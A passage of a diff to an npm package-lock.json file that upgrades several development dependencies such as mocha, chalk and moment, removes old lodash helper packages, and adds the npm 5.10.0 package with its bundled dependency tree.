"integrity": "sha1-6CB68cx7MNRGzHC3NLXovhj4jVE=", + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-3.0.0.tgz", + "integrity": "sha1-tdRU3CGZriJWmfNGfloH87lVuv0=", "dev": true }, "strip-ansi": { @@ -5355,12 +5374,12 @@ } }, "supports-color": { - "version": "4.4.0", - "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-4.4.0.tgz", - "integrity": "sha512-rKC3+DyXWgK0ZLKwmRsrkyHVZAjNkfzeehuFWdGGcqGDTZFH73+RH6S/RDAAxl9GusSjZSUWYLmT9N5pzXFOXQ==", + "version": "5.4.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-5.4.0.tgz", + "integrity": "sha512-zjaXglF5nnWpsq470jSv6P9DwPvgLkuapYmfDm3JWOm0vkNTVF2tI4UrN2r6jH1qM/uc/WtxYY1hYoA2dOKj5w==", "dev": true, "requires": { - "has-flag": "2.0.0" + "has-flag": "3.0.0" } } } @@ -5372,7 +5391,7 @@ "dev": true, "requires": { "lodash": "4.17.4", - "phantomjs-prebuilt": "2.1.15" + "phantomjs-prebuilt": "2.1.16" } }, "karma-sourcemap-loader": { @@ -5526,28 +5545,6 @@ "resolved": "https://registry.npmjs.org/lodash-es/-/lodash-es-4.17.4.tgz", "integrity": "sha1-3MHXVS4VCgZABzupyzHXDwMpUOc=" }, - "lodash._baseassign": { - "version": "3.2.0", - "resolved": "https://registry.npmjs.org/lodash._baseassign/-/lodash._baseassign-3.2.0.tgz", - "integrity": "sha1-jDigmVAPIVrQnlnxci/QxSv+Ck4=", - "dev": true, - "requires": { - "lodash._basecopy": "3.0.1", - "lodash.keys": "3.1.2" - } - }, - "lodash._basecopy": { - "version": "3.0.1", - "resolved": "https://registry.npmjs.org/lodash._basecopy/-/lodash._basecopy-3.0.1.tgz", - "integrity": "sha1-jaDmqHbPNEwK2KVIghEd08XHyjY=", - "dev": true - }, - "lodash._basecreate": { - "version": "3.0.3", - "resolved": "https://registry.npmjs.org/lodash._basecreate/-/lodash._basecreate-3.0.3.tgz", - "integrity": "sha1-G8ZhYU2qf8MRt9A78WgGoCE8+CE=", - "dev": true - }, "lodash._createcompounder": { "version": "3.0.0", "resolved": "https://registry.npmjs.org/lodash._createcompounder/-/lodash._createcompounder-3.0.0.tgz", @@ -5558,18 +5555,6 @@ "lodash.words": "3.2.0" } }, - "lodash._getnative": { - "version": "3.9.1", - "resolved": "https://registry.npmjs.org/lodash._getnative/-/lodash._getnative-3.9.1.tgz", - "integrity": "sha1-VwvH3t5G1hzc3mh9ZdPuy6o6r/U=", - "dev": true - }, - "lodash._isiterateecall": { - "version": "3.0.9", - "resolved": "https://registry.npmjs.org/lodash._isiterateecall/-/lodash._isiterateecall-3.0.9.tgz", - "integrity": "sha1-UgOte6Ql+uhCRg5pbbnPPmqsBXw=", - "dev": true - }, "lodash._root": { "version": "3.0.1", "resolved": "https://registry.npmjs.org/lodash._root/-/lodash._root-3.0.1.tgz", @@ -5591,17 +5576,6 @@ "lodash._createcompounder": "3.0.0" } }, - "lodash.create": { - "version": "3.1.1", - "resolved": "https://registry.npmjs.org/lodash.create/-/lodash.create-3.1.1.tgz", - "integrity": "sha1-1/KEnw29p+BGgruM1yqwIkYd6+c=", - "dev": true, - "requires": { - "lodash._baseassign": "3.2.0", - "lodash._basecreate": "3.0.3", - "lodash._isiterateecall": "3.0.9" - } - }, "lodash.curry": { "version": "4.1.1", "resolved": "https://registry.npmjs.org/lodash.curry/-/lodash.curry-4.1.1.tgz", @@ -5621,29 +5595,6 @@ "resolved": "https://registry.npmjs.org/lodash.flow/-/lodash.flow-3.5.0.tgz", "integrity": "sha1-h79AKSuM+D5OjOGjrkIJ4gBxZ1o=" }, - "lodash.isarguments": { - "version": "3.1.0", - "resolved": "https://registry.npmjs.org/lodash.isarguments/-/lodash.isarguments-3.1.0.tgz", - "integrity": "sha1-L1c9hcaiQon/AGY7SRwdM4/zRYo=", - "dev": true - }, - "lodash.isarray": { - "version": "3.0.4", - "resolved": "https://registry.npmjs.org/lodash.isarray/-/lodash.isarray-3.0.4.tgz", - "integrity": "sha1-eeTriMNqgSKvhvhEqpvNhRtfu1U=", - "dev": true - }, - "lodash.keys": { - "version": "3.1.2", - "resolved": "https://registry.npmjs.org/lodash.keys/-/lodash.keys-3.1.2.tgz", - "integrity": "sha1-TbwEcrFWvlCgsoaFXRvQsMZWCYo=", - "dev": true, - "requires": { - "lodash._getnative": "3.9.1", - "lodash.isarguments": "3.1.0", - "lodash.isarray": "3.0.4" - } - }, "lodash.memoize": { "version": "4.1.2", "resolved": "https://registry.npmjs.org/lodash.memoize/-/lodash.memoize-4.1.2.tgz", @@ -5677,47 +5628,47 @@ } }, "log-symbols": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/log-symbols/-/log-symbols-2.0.0.tgz", - "integrity": "sha512-ValCSal2pRxRbet7O69a/1g5fZ2MLxf1YXIslNrdJF42ofY9zVf6MTqTwfhG+2x168xrbZATCgFQfXAwdNHv+w==", + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/log-symbols/-/log-symbols-2.2.0.tgz", + "integrity": "sha512-VeIAFslyIerEJLXHziedo2basKbMKtTw3vfn5IzG0XTjhAVEJyNHnL2p7vc+wBDSdQuUpNw3M2u6xb9QsAY5Eg==", "dev": true, "requires": { - "chalk": "2.1.0" + "chalk": "2.4.0" }, "dependencies": { "ansi-styles": { - "version": "3.2.0", - "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-3.2.0.tgz", - "integrity": "sha512-NnSOmMEYtVR2JVMIGTzynRkkaxtiq1xnFBcdQD/DnNCYPoEPsVJhM98BDyaoNOQIi7p4okdi3E27eN7GQbsUug==", + "version": "3.2.1", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-3.2.1.tgz", + "integrity": "sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==", "dev": true, "requires": { "color-convert": "1.9.0" } }, "chalk": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/chalk/-/chalk-2.1.0.tgz", - "integrity": "sha512-LUHGS/dge4ujbXMJrnihYMcL4AoOweGnw9Tp3kQuqy1Kx5c1qKjqvMJZ6nVJPMWJtKCTN72ZogH3oeSO9g9rXQ==", + "version": "2.4.0", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-2.4.0.tgz", + "integrity": "sha512-Wr/w0f4o9LuE7K53cD0qmbAMM+2XNLzR29vFn5hqko4sxGlUsyy363NvmyGIyk5tpe9cjTr9SJYbysEyPkRnFw==", "dev": true, "requires": { - "ansi-styles": "3.2.0", + "ansi-styles": "3.2.1", "escape-string-regexp": "1.0.5", - "supports-color": "4.4.0" + "supports-color": "5.4.0" } }, "has-flag": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-2.0.0.tgz", - "integrity": "sha1-6CB68cx7MNRGzHC3NLXovhj4jVE=", + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-3.0.0.tgz", + "integrity": "sha1-tdRU3CGZriJWmfNGfloH87lVuv0=", "dev": true }, "supports-color": { - "version": "4.4.0", - "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-4.4.0.tgz", - "integrity": "sha512-rKC3+DyXWgK0ZLKwmRsrkyHVZAjNkfzeehuFWdGGcqGDTZFH73+RH6S/RDAAxl9GusSjZSUWYLmT9N5pzXFOXQ==", + "version": "5.4.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-5.4.0.tgz", + "integrity": "sha512-zjaXglF5nnWpsq470jSv6P9DwPvgLkuapYmfDm3JWOm0vkNTVF2tI4UrN2r6jH1qM/uc/WtxYY1hYoA2dOKj5w==", "dev": true, "requires": { - "has-flag": "2.0.0" + "has-flag": "3.0.0" } } } @@ -5948,62 +5899,54 @@ } }, "mocha": { - "version": "3.5.0", - "resolved": "https://registry.npmjs.org/mocha/-/mocha-3.5.0.tgz", - "integrity": "sha512-pIU2PJjrPYvYRqVpjXzj76qltO9uBYI7woYAMoxbSefsa+vqAfptjoeevd6bUgwD0mPIO+hv9f7ltvsNreL2PA==", + "version": "5.2.0", + "resolved": "https://registry.npmjs.org/mocha/-/mocha-5.2.0.tgz", + "integrity": "sha512-2IUgKDhc3J7Uug+FxMXuqIyYzH7gJjXECKe/w43IGgQHTSj3InJi+yAA7T24L9bQMRKiUEHxEX37G5JpVUGLcQ==", "dev": true, "requires": { - "browser-stdout": "1.3.0", - "commander": "2.9.0", - "debug": "2.6.8", - "diff": "3.2.0", + "browser-stdout": "1.3.1", + "commander": "2.15.1", + "debug": "3.1.0", + "diff": "3.5.0", "escape-string-regexp": "1.0.5", - "glob": "7.1.1", - "growl": "1.9.2", - "json3": "3.3.2", - "lodash.create": "3.1.1", + "glob": "7.1.2", + "growl": "1.10.5", + "he": "1.1.1", + "minimatch": "3.0.4", "mkdirp": "0.5.1", - "supports-color": "3.1.2" + "supports-color": "5.4.0" }, "dependencies": { - "commander": { - "version": "2.9.0", - "resolved": "https://registry.npmjs.org/commander/-/commander-2.9.0.tgz", - "integrity": "sha1-nJkJQXbhIkDLItbFFGCYQA/g99Q=", + "debug": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/debug/-/debug-3.1.0.tgz", + "integrity": "sha512-OX8XqP7/1a9cqkxYw2yXss15f26NKWBpDXQd0/uK/KPqdQhxbPa994hnzjcE2VqQpDslf55723cKPUOGSmMY3g==", "dev": true, "requires": { - "graceful-readlink": "1.0.1" + "ms": "2.0.0" } }, - "glob": { - "version": "7.1.1", - "resolved": "https://registry.npmjs.org/glob/-/glob-7.1.1.tgz", - "integrity": "sha1-gFIR3wT6rxxjo2ADBs31reULLsg=", - "dev": true, - "requires": { - "fs.realpath": "1.0.0", - "inflight": "1.0.6", - "inherits": "2.0.3", - "minimatch": "3.0.4", - "once": "1.4.0", - "path-is-absolute": "1.0.1" - } + "has-flag": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-3.0.0.tgz", + "integrity": "sha1-tdRU3CGZriJWmfNGfloH87lVuv0=", + "dev": true }, "supports-color": { - "version": "3.1.2", - "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-3.1.2.tgz", - "integrity": "sha1-cqJiiU2dQIuVbKBf83su2KbiotU=", + "version": "5.4.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-5.4.0.tgz", + "integrity": "sha512-zjaXglF5nnWpsq470jSv6P9DwPvgLkuapYmfDm3JWOm0vkNTVF2tI4UrN2r6jH1qM/uc/WtxYY1hYoA2dOKj5w==", "dev": true, "requires": { - "has-flag": "1.0.0" + "has-flag": "3.0.0" } } } }, "moment": { - "version": "2.21.0", - "resolved": "https://registry.npmjs.org/moment/-/moment-2.21.0.tgz", - "integrity": "sha512-TCZ36BjURTeFTM/CwRcViQlfkMvL1/vFISuNLO5GkcVm1+QHfbSiNqZuWeMFjj1/3+uAjXswgRk30j1kkLYJBQ==" + "version": "2.22.1", + "resolved": "https://registry.npmjs.org/moment/-/moment-2.22.1.tgz", + "integrity": "sha512-shJkRTSebXvsVqk56I+lkb2latjBs8I+pc2TzWc545y2iFnSjm7Wg0QMh+ZWcdSLQyGEau5jI8ocnmkyTgr9YQ==" }, "ms": { "version": "2.0.0", @@ -6045,9 +5988,9 @@ "dev": true }, "node-fetch": { - "version": "1.7.2", - "resolved": "https://registry.npmjs.org/node-fetch/-/node-fetch-1.7.2.tgz", - "integrity": "sha512-xZZUq2yDhKMIn/UgG5q//IZSNLJIwW2QxS14CNH5spuiXkITM2pUitjdq58yLSaU7m4M0wBNaM2Gh/ggY4YJig==", + "version": "1.7.3", + "resolved": "https://registry.npmjs.org/node-fetch/-/node-fetch-1.7.3.tgz", + "integrity": "sha512-NhZ4CsKx7cYm2vSrBAr2PvFOe6sWDf0UYLRqA6svUYg7+/TSfVAu49jYC4BvQ4Sms9SZgdqGBgroqfDhJdTyKQ==", "requires": { "encoding": "0.1.12", "is-stream": "1.1.0" @@ -6181,6 +6124,4163 @@ "resolved": "https://registry.npmjs.org/normalize.css/-/normalize.css-4.2.0.tgz", "integrity": "sha1-IdZsxVcVTUN5/R4HnsfeWKN5sJk=" }, + "npm": { + "version": "5.10.0", + "resolved": "https://registry.npmjs.org/npm/-/npm-5.10.0.tgz", + "integrity": "sha512-lvjvjgR5wG2RJ2uqak1xtZcVAWMwVOzN5HkUlUj/n8rU1f3A0fNn+7HwOzH9Lyf0Ppyu9ApgsEpHczOSnx1cwA==", + "requires": { + "JSONStream": "1.3.2", + "abbrev": "1.1.1", + "ansi-regex": "3.0.0", + "ansicolors": "0.3.2", + "ansistyles": "0.1.3", + "aproba": "1.2.0", + "archy": "1.0.0", + "bin-links": "1.1.0", + "bluebird": "3.5.1", + "byte-size": "4.0.2", + "cacache": "10.0.4", + "call-limit": "1.1.0", + "chownr": "1.0.1", + "cli-columns": "3.1.2", + "cli-table2": "0.2.0", + "cmd-shim": "2.0.2", + "columnify": "1.5.4", + "config-chain": "1.1.11", + "debuglog": "1.0.1", + "detect-indent": "5.0.0", + "detect-newline": "2.1.0", + "dezalgo": "1.0.3", + "editor": "1.0.0", + "find-npm-prefix": "1.0.2", + "fs-vacuum": "1.2.10", + "fs-write-stream-atomic": "1.0.10", + "gentle-fs": "2.0.1", + "glob": "7.1.2", + "graceful-fs": "4.1.11", + "has-unicode": "2.0.1", + "hosted-git-info": "2.6.0", + "iferr": "0.1.5", + "imurmurhash": "0.1.4", + "inflight": "1.0.6", + "inherits": "2.0.3", + "ini": "1.3.5", + "init-package-json": "1.10.3", + "is-cidr": "1.0.0", + "json-parse-better-errors": "1.0.2", + "lazy-property": "1.0.0", + "libcipm": "1.6.2", + "libnpx": "10.2.0", + "lock-verify": "2.0.2", + "lockfile": "1.0.4", + "lodash._baseindexof": "3.1.0", + "lodash._baseuniq": "4.6.0", + "lodash._bindcallback": "3.0.1", + "lodash._cacheindexof": "3.0.2", + "lodash._createcache": "3.1.2", + "lodash._getnative": "3.9.1", + "lodash.clonedeep": "4.5.0", + "lodash.restparam": "3.6.1", + "lodash.union": "4.6.0", + "lodash.uniq": "4.5.0", + "lodash.without": "4.4.0", + "lru-cache": "4.1.2", + "meant": "1.0.1", + "mississippi": "3.0.0", + "mkdirp": "0.5.1", + "move-concurrently": "1.0.1", + "node-gyp": "3.6.2", + "nopt": "4.0.1", + "normalize-package-data": "2.4.0", + "npm-audit-report": "1.0.9", + "npm-cache-filename": "1.0.2", + "npm-install-checks": "3.0.0", + "npm-lifecycle": "2.0.1", + "npm-package-arg": "6.1.0", + "npm-packlist": "1.1.10", + "npm-profile": "3.0.1", + "npm-registry-client": "8.5.1", + "npm-registry-fetch": "1.1.0", + "npm-user-validate": "1.0.0", + "npmlog": "4.1.2", + "once": "1.4.0", + "opener": "1.4.3", + "osenv": "0.1.5", + "pacote": "7.6.1", + "path-is-inside": "1.0.2", + "promise-inflight": "1.0.1", + "qrcode-terminal": "0.12.0", + "query-string": "6.1.0", + "qw": "1.0.1", + "read": "1.0.7", + "read-cmd-shim": "1.0.1", + "read-installed": "4.0.3", + "read-package-json": "2.0.13", + "read-package-tree": "5.2.1", + "readable-stream": "2.3.6", + "readdir-scoped-modules": "1.0.2", + "request": "2.85.0", + "retry": "0.12.0", + "rimraf": "2.6.2", + "safe-buffer": "5.1.2", + "semver": "5.5.0", + "sha": "2.0.1", + "slide": "1.1.6", + "sorted-object": "2.0.1", + "sorted-union-stream": "2.1.3", + "ssri": "5.3.0", + "strip-ansi": "4.0.0", + "tar": "4.4.2", + "text-table": "0.2.0", + "tiny-relative-date": "1.3.0", + "uid-number": "0.0.6", + "umask": "1.1.0", + "unique-filename": "1.1.0", + "unpipe": "1.0.0", + "update-notifier": "2.5.0", + "uuid": "3.2.1", + "validate-npm-package-license": "3.0.3", + "validate-npm-package-name": "3.0.0", + "which": "1.3.0", + "worker-farm": "1.6.0", + "wrappy": "1.0.2", + "write-file-atomic": "2.3.0" + }, + "dependencies": { + "JSONStream": { + "version": "1.3.2", + "bundled": true, + "requires": { + "jsonparse": "1.3.1", + "through": "2.3.8" + }, + "dependencies": { + "jsonparse": { + "version": "1.3.1", + "bundled": true + }, + "through": { + "version": "2.3.8", + "bundled": true + } + } + }, + "abbrev": { + "version": "1.1.1", + "bundled": true + }, + "ansi-regex": { + "version": "3.0.0", + "bundled": true + }, + "ansicolors": { + "version": "0.3.2", + "bundled": true + }, + "ansistyles": { + "version": "0.1.3", + "bundled": true + }, + "aproba": { + "version": "1.2.0", + "bundled": true + }, + "archy": { + "version": "1.0.0", + "bundled": true + }, + "bin-links": { + "version": "1.1.0", + "bundled": true, + "requires": { + "bluebird": "3.5.1", + "cmd-shim": "2.0.2", + "fs-write-stream-atomic": "1.0.10", + "gentle-fs": "2.0.1", + "graceful-fs": "4.1.11", + "slide": "1.1.6" + } + }, + "bluebird": { + "version": "3.5.1", + "bundled": true + }, + "byte-size": { + "version": "4.0.2", + "bundled": true + }, + "cacache": { + "version": "10.0.4", + "bundled": true, + "requires": { + "bluebird": "3.5.1", + "chownr": "1.0.1", + "glob": "7.1.2", + "graceful-fs": "4.1.11", + "lru-cache": "4.1.2", + "mississippi": "2.0.0", + "mkdirp": "0.5.1", + "move-concurrently": "1.0.1", + "promise-inflight": "1.0.1", + "rimraf": "2.6.2", + "ssri": "5.3.0", + "unique-filename": "1.1.0", + "y18n": "4.0.0" + }, + "dependencies": { + "mississippi": { + "version": "2.0.0", + "bundled": true, + "requires": { + "concat-stream": "1.6.1", + "duplexify": "3.5.4", + "end-of-stream": "1.4.1", + "flush-write-stream": "1.0.2", + "from2": "2.3.0", + "parallel-transform": "1.1.0", + "pump": "2.0.1", + "pumpify": "1.4.0", + "stream-each": "1.2.2", + "through2": "2.0.3" + }, + "dependencies": { + "concat-stream": { + "version": "1.6.1", + "bundled": true, + "requires": { + "inherits": "2.0.3", + "readable-stream": "2.3.6", + "typedarray": "0.0.6" + }, + "dependencies": { + "typedarray": { + "version": "0.0.6", + "bundled": true + } + } + }, + "duplexify": { + "version": "3.5.4", + "bundled": true, + "requires": { + "end-of-stream": "1.4.1", + "inherits": "2.0.3", + "readable-stream": "2.3.6", + "stream-shift": "1.0.0" + }, + "dependencies": { + "stream-shift": { + "version": "1.0.0", + "bundled": true + } + } + }, + "end-of-stream": { + "version": "1.4.1", + "bundled": true, + "requires": { + "once": "1.4.0" + } + }, + "flush-write-stream": { + "version": "1.0.2", + "bundled": true, + "requires": { + "inherits": "2.0.3", + "readable-stream": "2.3.6" + } + }, + "from2": { + "version": "2.3.0", + "bundled": true, + "requires": { + "inherits": "2.0.3", + "readable-stream": "2.3.6" + } + }, + "parallel-transform": { + "version": "1.1.0", + "bundled": true, + "requires": { + "cyclist": "0.2.2", + "inherits": "2.0.3", + "readable-stream": "2.3.6" + }, + "dependencies": { + "cyclist": { + "version": "0.2.2", + "bundled": true + } + } + }, + "pump": { + "version": "2.0.1", + "bundled": true, + "requires": { + "end-of-stream": "1.4.1", + "once": "1.4.0" + } + }, + "pumpify": { + "version": "1.4.0", + "bundled": true, + "requires": { + "duplexify": "3.5.4", + "inherits": "2.0.3", + "pump": "2.0.1" + } + }, + "stream-each": { + "version": "1.2.2", + "bundled": true, + "requires": { + "end-of-stream": "1.4.1", + "stream-shift": "1.0.0" + }, + "dependencies": { + "stream-shift": { + "version": "1.0.0", + "bundled": true + } + } + }, + "through2": { + "version": "2.0.3", + "bundled": true, + "requires": { + "readable-stream": "2.3.6", + "xtend": "4.0.1" + }, + "dependencies": { + "xtend": { + "version": "4.0.1", + "bundled": true + } + } + } + } + }, + "y18n": { + "version": "4.0.0", + "bundled": true + } + } + }, + "call-limit": { + "version": "1.1.0", + "bundled": true + }, + "chownr": { + "version": "1.0.1", + "bundled": true + }, + "cli-columns": { + "version": "3.1.2", + "bundled": true, + "requires": { + "string-width": "2.1.1", + "strip-ansi": "3.0.1" + }, + "dependencies": { + "string-width": { + "version": "2.1.1", + "bundled": true, + "requires": { + "is-fullwidth-code-point": "2.0.0", + "strip-ansi": "4.0.0" + }, + "dependencies": { + "is-fullwidth-code-point": { + "version": "2.0.0", + "bundled": true + }, + "strip-ansi": { + "version": "4.0.0", + "bundled": true, + "requires": { + "ansi-regex": "3.0.0" + } + } + } + }, + "strip-ansi": { + "version": "3.0.1", + "bundled": true, + "requires": { + "ansi-regex": "2.1.1" + }, + "dependencies": { + "ansi-regex": { + "version": "2.1.1", + "bundled": true + } + } + } + } + }, + "cli-table2": { + "version": "0.2.0", + "bundled": true, + "requires": { + "colors": "1.1.2", + "lodash": "3.10.1", + "string-width": "1.0.2" + }, + "dependencies": { + "colors": { + "version": "1.1.2", + "bundled": true, + "optional": true + }, + "lodash": { + "version": "3.10.1", + "bundled": true + }, + "string-width": { + "version": "1.0.2", + "bundled": true, + "requires": { + "code-point-at": "1.1.0", + "is-fullwidth-code-point": "1.0.0", + "strip-ansi": "3.0.1" + }, + "dependencies": { + "code-point-at": { + "version": "1.1.0", + "bundled": true + }, + "is-fullwidth-code-point": { + "version": "1.0.0", + "bundled": true, + "requires": { + "number-is-nan": "1.0.1" + }, + "dependencies": { + "number-is-nan": { + "version": "1.0.1", + "bundled": true + } + } + }, + "strip-ansi": { + "version": "3.0.1", + "bundled": true, + "requires": { + "ansi-regex": "2.1.1" + }, + "dependencies": { + "ansi-regex": { + "version": "2.1.1", + "bundled": true + } + } + } + } + } + } + }, + "cmd-shim": { + "version": "2.0.2", + "bundled": true, + "requires": { + "graceful-fs": "4.1.11", + "mkdirp": "0.5.1" + } + }, + "columnify": { + "version": "1.5.4", + "bundled": true, + "requires": { + "strip-ansi": "3.0.1", + "wcwidth": "1.0.1" + }, + "dependencies": { + "strip-ansi": { + "version": "3.0.1", + "bundled": true, + "requires": { + "ansi-regex": "2.1.1" + }, + "dependencies": { + "ansi-regex": { + "version": "2.1.1", + "bundled": true + } + } + }, + "wcwidth": { + "version": "1.0.1", + "bundled": true, + "requires": { + "defaults": "1.0.3" + }, + "dependencies": { + "defaults": { + "version": "1.0.3", + "bundled": true, + "requires": { + "clone": "1.0.2" + }, + "dependencies": { + "clone": { + "version": "1.0.2", + "bundled": true + } + } + } + } + } + } + }, + "config-chain": { + "version": "1.1.11", + "bundled": true, + "requires": { + "ini": "1.3.5", + "proto-list": "1.2.4" + }, + "dependencies": { + "proto-list": { + "version": "1.2.4", + "bundled": true + } + } + }, + "debuglog": { + "version": "1.0.1", + "bundled": true + }, + "detect-indent": { + "version": "5.0.0", + "bundled": true + }, + "detect-newline": { + "version": "2.1.0", + "bundled": true + }, + "dezalgo": { + "version": "1.0.3", + "bundled": true, + "requires": { + "asap": "2.0.5", + "wrappy": "1.0.2" + }, + "dependencies": { + "asap": { + "version": "2.0.5", + "bundled": true + } + } + }, + "editor": { + "version": "1.0.0", + "bundled": true + }, + "find-npm-prefix": { + "version": "1.0.2", + "bundled": true + }, + "fs-vacuum": { + "version": "1.2.10", + "bundled": true, + "requires": { + "graceful-fs": "4.1.11", + "path-is-inside": "1.0.2", + "rimraf": "2.6.2" + } + }, + "fs-write-stream-atomic": { + "version": "1.0.10", + "bundled": true, + "requires": { + "graceful-fs": "4.1.11", + "iferr": "0.1.5", + "imurmurhash": "0.1.4", + "readable-stream": "2.3.6" + } + }, + "gentle-fs": { + "version": "2.0.1", + "bundled": true, + "requires": { + "aproba": "1.2.0", + "fs-vacuum": "1.2.10", + "graceful-fs": "4.1.11", + "iferr": "0.1.5", + "mkdirp": "0.5.1", + "path-is-inside": "1.0.2", + "read-cmd-shim": "1.0.1", + "slide": "1.1.6" + } + }, + "glob": { + "version": "7.1.2", + "bundled": true, + "requires": { + "fs.realpath": "1.0.0", + "inflight": "1.0.6", + "inherits": "2.0.3", + "minimatch": "3.0.4", + "once": "1.4.0", + "path-is-absolute": "1.0.1" + }, + "dependencies": { + "fs.realpath": { + "version": "1.0.0", + "bundled": true + }, + "minimatch": { + "version": "3.0.4", + "bundled": true, + "requires": { + "brace-expansion": "1.1.8" + }, + "dependencies": { + "brace-expansion": { + "version": "1.1.8", + "bundled": true, + "requires": { + "balanced-match": "1.0.0", + "concat-map": "0.0.1" + }, + "dependencies": { + "balanced-match": { + "version": "1.0.0", + "bundled": true + }, + "concat-map": { + "version": "0.0.1", + "bundled": true + } + } + } + } + }, + "path-is-absolute": { + "version": "1.0.1", + "bundled": true + } + } + }, + "graceful-fs": { + "version": "4.1.11", + "bundled": true + }, + "has-unicode": { + "version": "2.0.1", + "bundled": true + }, + "hosted-git-info": { + "version": "2.6.0", + "bundled": true + }, + "iferr": { + "version": "0.1.5", + "bundled": true + }, + "imurmurhash": { + "version": "0.1.4", + "bundled": true + }, + "inflight": { + "version": "1.0.6", + "bundled": true, + "requires": { + "once": "1.4.0", + "wrappy": "1.0.2" + } + }, + "inherits": { + "version": "2.0.3", + "bundled": true + }, + "ini": { + "version": "1.3.5", + "bundled": true + }, + "init-package-json": { + "version": "1.10.3", + "bundled": true, + "requires": { + "glob": "7.1.2", + "npm-package-arg": "6.1.0", + "promzard": "0.3.0", + "read": "1.0.7", + "read-package-json": "2.0.13", + "semver": "5.5.0", + "validate-npm-package-license": "3.0.3", + "validate-npm-package-name": "3.0.0" + }, + "dependencies": { + "promzard": { + "version": "0.3.0", + "bundled": true, + "requires": { + "read": "1.0.7" + } + } + } + }, + "is-cidr": { + "version": "1.0.0", + "bundled": true, + "requires": { + "cidr-regex": "1.0.6" + }, + "dependencies": { + "cidr-regex": { + "version": "1.0.6", + "bundled": true + } + } + }, + "json-parse-better-errors": { + "version": "1.0.2", + "bundled": true + }, + "lazy-property": { + "version": "1.0.0", + "bundled": true + }, + "libcipm": { + "version": "1.6.2", + "bundled": true, + "requires": { + "bin-links": "1.1.0", + "bluebird": "3.5.1", + "find-npm-prefix": "1.0.2", + "graceful-fs": "4.1.11", + "lock-verify": "2.0.1", + "npm-lifecycle": "2.0.1", + "npm-logical-tree": "1.2.1", + "npm-package-arg": "6.1.0", + "pacote": "7.6.1", + "protoduck": "5.0.0", + "read-package-json": "2.0.13", + "rimraf": "2.6.2", + "worker-farm": "1.6.0" + }, + "dependencies": { + "lock-verify": { + "version": "2.0.1", + "bundled": true, + "requires": { + "npm-package-arg": "5.1.2", + "semver": "5.5.0" + }, + "dependencies": { + "npm-package-arg": { + "version": "5.1.2", + "bundled": true, + "requires": { + "hosted-git-info": "2.6.0", + "osenv": "0.1.5", + "semver": "5.5.0", + "validate-npm-package-name": "3.0.0" + } + } + } + }, + "npm-logical-tree": { + "version": "1.2.1", + "bundled": true + }, + "protoduck": { + "version": "5.0.0", + "bundled": true, + "requires": { + "genfun": "4.0.1" + }, + "dependencies": { + "genfun": { + "version": "4.0.1", + "bundled": true + } + } + } + } + }, + "libnpx": { + "version": "10.2.0", + "bundled": true, + "requires": { + "dotenv": "5.0.1", + "npm-package-arg": "6.1.0", + "rimraf": "2.6.2", + "safe-buffer": "5.1.2", + "update-notifier": "2.5.0", + "which": "1.3.0", + "y18n": "4.0.0", + "yargs": "11.0.0" + }, + "dependencies": { + "dotenv": { + "version": "5.0.1", + "bundled": true + }, + "y18n": { + "version": "4.0.0", + "bundled": true + }, + "yargs": { + "version": "11.0.0", + "bundled": true, + "requires": { + "cliui": "4.1.0", + "decamelize": "1.2.0", + "find-up": "2.1.0", + "get-caller-file": "1.0.2", + "os-locale": "2.1.0", + "require-directory": "2.1.1", + "require-main-filename": "1.0.1", + "set-blocking": "2.0.0", + "string-width": "2.1.1", + "which-module": "2.0.0", + "y18n": "3.2.1", + "yargs-parser": "9.0.2" + }, + "dependencies": { + "cliui": { + "version": "4.1.0", + "bundled": true, + "requires": { + "string-width": "2.1.1", + "strip-ansi": "4.0.0", + "wrap-ansi": "2.1.0" + }, + "dependencies": { + "wrap-ansi": { + "version": "2.1.0", + "bundled": true, + "requires": { + "string-width": "1.0.2", + "strip-ansi": "3.0.1" + }, + "dependencies": { + "string-width": { + "version": "1.0.2", + "bundled": true, + "requires": { + "code-point-at": "1.1.0", + "is-fullwidth-code-point": "1.0.0", + "strip-ansi": "3.0.1" + }, + "dependencies": { + "code-point-at": { + "version": "1.1.0", + "bundled": true + }, + "is-fullwidth-code-point": { + "version": "1.0.0", + "bundled": true, + "requires": { + "number-is-nan": "1.0.1" + }, + "dependencies": { + "number-is-nan": { + "version": "1.0.1", + "bundled": true + } + } + } + } + }, + "strip-ansi": { + "version": "3.0.1", + "bundled": true, + "requires": { + "ansi-regex": "2.1.1" + }, + "dependencies": { + "ansi-regex": { + "version": "2.1.1", + "bundled": true + } + } + } + } + } + } + }, + "decamelize": { + "version": "1.2.0", + "bundled": true + }, + "find-up": { + "version": "2.1.0", + "bundled": true, + "requires": { + "locate-path": "2.0.0" + }, + "dependencies": { + "locate-path": { + "version": "2.0.0", + "bundled": true, + "requires": { + "p-locate": "2.0.0", + "path-exists": "3.0.0" + }, + "dependencies": { + "p-locate": { + "version": "2.0.0", + "bundled": true, + "requires": { + "p-limit": "1.2.0" + }, + "dependencies": { + "p-limit": { + "version": "1.2.0", + "bundled": true, + "requires": { + "p-try": "1.0.0" + }, + "dependencies": { + "p-try": { + "version": "1.0.0", + "bundled": true + } + } + } + } + }, + "path-exists": { + "version": "3.0.0", + "bundled": true + } + } + } + } + }, + "get-caller-file": { + "version": "1.0.2", + "bundled": true + }, + "os-locale": { + "version": "2.1.0", + "bundled": true, + "requires": { + "execa": "0.7.0", + "lcid": "1.0.0", + "mem": "1.1.0" + }, + "dependencies": { + 